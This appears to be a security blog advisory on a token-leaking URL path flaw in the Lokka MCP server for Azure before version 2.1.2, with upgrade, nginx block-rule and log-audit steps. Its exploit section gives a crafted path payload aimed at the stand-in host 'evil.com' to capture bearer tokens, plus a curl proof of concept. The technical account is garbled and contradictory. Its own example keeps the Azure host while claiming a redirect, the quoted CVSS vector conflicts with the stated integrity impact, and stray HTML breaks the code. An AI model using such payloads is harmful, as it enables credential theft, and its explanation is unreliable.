Listen to this Post
How the CVE Works
Lokka is a Model Context Protocol (MCP) server that bridges AI models with Microsoft Graph and Azure Resource Manager (Azure RM) APIs, enabling natural-language management of Azure and Microsoft 365 tenants. Versions prior to 2.1.2 contain a high-severity URL path validation vulnerability.
The root cause lies in how Lokka constructs Azure Resource Manager request URLs. The software uses direct string concatenation to build these URLs, incorporating user-controlled `path` input without proper sanitization. This unsafee concatenation allows an attacker to inject specially crafted path values that interfere with the URL’s authority parsing.
When a user authenticates to Azure Resource Manager, Lokka obtains a bearer token that grants access to the user’s Azure resources. The vulnerable URL construction process means that a malicious path value can redirect the token to an attacker-controlled host. For example, an attacker could supply a path containing URL authority components (such as `@` symbols or double slashes) that cause the URL parser to misinterpret the intended destination.
The security impact is severe: Azure Resource Manager bearer tokens are highly sensitive credentials that provide broad access to Azure subscriptions, resources, and management operations. If exfiltrated to an unintended host, an attacker could impersonate the legitimate user and perform unauthorized actions within the Azure environment.
The vulnerability exists because the codebase failed to use standard, safe URL construction methods. Instead of leveraging the built-in URL API that properly handles encoding and authority parsing, the developers opted for manual string building—a common but dangerous practice when dealing with user-supplied input.
Version 2.1.2 addresses the issue through a two-pronged fix. First, it validates Azure paths before any token acquisition occurs, rejecting malformed or suspicious path values. Second, it constructs Azure Resource Manager URLs using the standard URL API, which correctly handles encoding, escaping, and authority parsing while preserving the expected `management.azure.com` host. This ensures that even if an attacker attempts to inject authority-altering characters, the URL API will treat them as part of the path rather than modifying the destination host.
The vulnerability was reported by 정해창 ([email protected]) and published to the GitHub Advisory Database on June 19, 2026.
DailyCVE Form:
Platform: ……. npm/@merill/lokka
Version: …….. < 2.1.2
Vulnerability :…… URL path validation
Severity: ……. High (CVSS 7.5)
date: ………. 2026-06-19
Prediction: …… 2026-06-26
What Undercode Say: Analytics
The vulnerability stems from unsafe string concatenation in URL construction—a classic injection flaw that has been documented in OWASP Top 10 for years. The attack vector requires no authentication bypass; the attacker only needs to control the `path` parameter supplied to Lokka. Given that Lokka is designed to accept natural-language input from AI clients, the attack surface is significant.
Affected versions: 0.1.0 through 0.1.8, 0.2.0, 0.3.0, 2.0.0, 2.1.0, and 2.1.1
Fixed version: 2.1.2
Package: `@merill/lokka` (npm)
Monthly downloads: ~268
Dependent packages: 0
Dependent repositories: 0
Check your installed version:
npm list @merill/lokka
Verify the vulnerability in your codebase:
Search for unsafe URL concatenation patterns grep -r "management.azure.com" --include=".js" --include=".ts" . grep -r "baseUrl.+.path" --include=".js" --include=".ts" .
Update to the patched version:
npm install @merill/[email protected] or for global installation npm update -g @merill/lokka
Exploit
An attacker can exploit this vulnerability by crafting a malicious `path` value that alters the URL authority. For example:
Vulnerable code pattern (pre-2.1.2):
// Unsafe string concatenation
const azureUrl = <code>https://management.azure.com/${userSuppliedPath}`;
// If userSuppliedPath = "attacker.com@/subscriptions"
// Result: https://management.azure.com/attacker.com@/subscriptions
// URL parser may interpret authority as "management.azure.com/attacker.com"
<h2 style=”color: blue;”>Crafted payload example:</h2>
path = "evil.com@/subscriptions/123/resourceGroups"
<h2 style=”color: blue;”>When concatenated, the URL becomes:</h2>
https://management.azure.com/evil.com@/subscriptions/123/resourceGroups
Depending on the URL parsing library, this could be interpreted as:
– Host: `management.azure.com` (incorrect)
– Or host: `evil.com` (if the parser treats `@` as authority separator)
The bearer token, intended formanagement.azure.com, would be sent to `evil.com` instead.
<h2 style="color: blue;">Potential attack scenarios:</h2>
1. Token exfiltration: The attacker sets up a server at `evil.com` that logs incoming bearer tokens
2. Man-in-the-middle: The attacker's server proxies requests while capturing tokens
3. Session hijacking: Stolen tokens can be reused to execute Azure Resource Manager API calls
<h2 style="color: blue;">PoC curl command (theoretical):</h2>
Assuming Lokka exposes an API endpoint that accepts a path parameter
curl -X POST http://localhost:3000/api/azure \
-H "Content-Type: application/json" \
-d '{"path": "evil.com@/subscriptions"}'
<h2 style="color: blue;">Protection</h2>
<h2 style="color: blue;">Immediate actions:</h2>
<h2 style="color: blue;">1. Upgrade to Lokka 2.1.2 immediately</h2>
npm install @merill/[email protected]
2. If immediate upgrade is not possible, implement a temporary WAF or reverse proxy rule to block requests containing `@` or `//` patterns in the path parameter:
Nginx example
location /api/azure {
if ($arg_path ~ "@|//") {
return 403;
}
proxy_pass http://localhost:3000;
}
3. Rotate all Azure Resource Manager bearer tokens that may have been exposed while running a vulnerable version. This includes:
- Revoking and regenerating client secrets
- Renewing certificates used for app-only authentication
- Invalidating existing access tokens
4. Audit Azure activity logs for any unauthorized access or unusual API calls during the exposure window:
Azure CLI - check for suspicious activity az monitor activity-log list --max-events 1000 \ --query "[?contains(operationName.value, 'Microsoft.Resources')]" \ --output table
5. Review Azure AD sign-in logs for unusual locations or IP addresses:
az monitor activity-log list --max-events 500 \ --query "[?contains(caller, '<your-tenant-id>')]" \ --output table
<h2 style="color: blue;">Long-term mitigation:</h2>
- Adopt secure coding practices: Always use standard URL APIs (URL` constructor in JavaScript) instead of string concatenation for building URLs with user input
– Implement input validation: Validate and sanitize all user-supplied path parameters before using them in URL construction
– Use dependency scanning tools: Integrate Snyk, npm audit, or GitHub Dependabot to detect vulnerable dependencies
– Enable audit logging: Ensure Azure Resource Manager audit logs are enabled and monitored for anomalous activity
Impact
Confidentiality Impact: High — Azure Resource Manager bearer tokens grant access to Azure subscriptions, resources, and management operations. Token exfiltration allows an attacker to view, modify, or delete Azure resources.
Integrity Impact: High — With a stolen token, an attacker can create, update, or delete Azure resources, potentially disrupting production environments or deploying malicious infrastructure.
Availability Impact: Medium — An attacker could delete critical resources, causing service outages. However, the vulnerability itself does not cause denial of service.
Scope: The vulnerability affects all instances of Lokka versions prior to 2.1.2 that use Azure Resource Manager authentication.
Attack Vector: Network — The attacker must be able to supply a malicious `path` value to a vulnerable Lokka instance, typically through the MCP interface or API endpoints.
Attack Complexity: Low — No special conditions are required beyond controlling the `path` input. The exploitation does not require advanced skills or significant resources.
Privileges Required: None — The attacker does not need prior authentication or elevated privileges to exploit the vulnerability.
User Interaction: None — The attack can be automated and does not require user interaction.
CVSS Score: Approximately 7.5 (High) — Based on the CVSS v3.1 vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
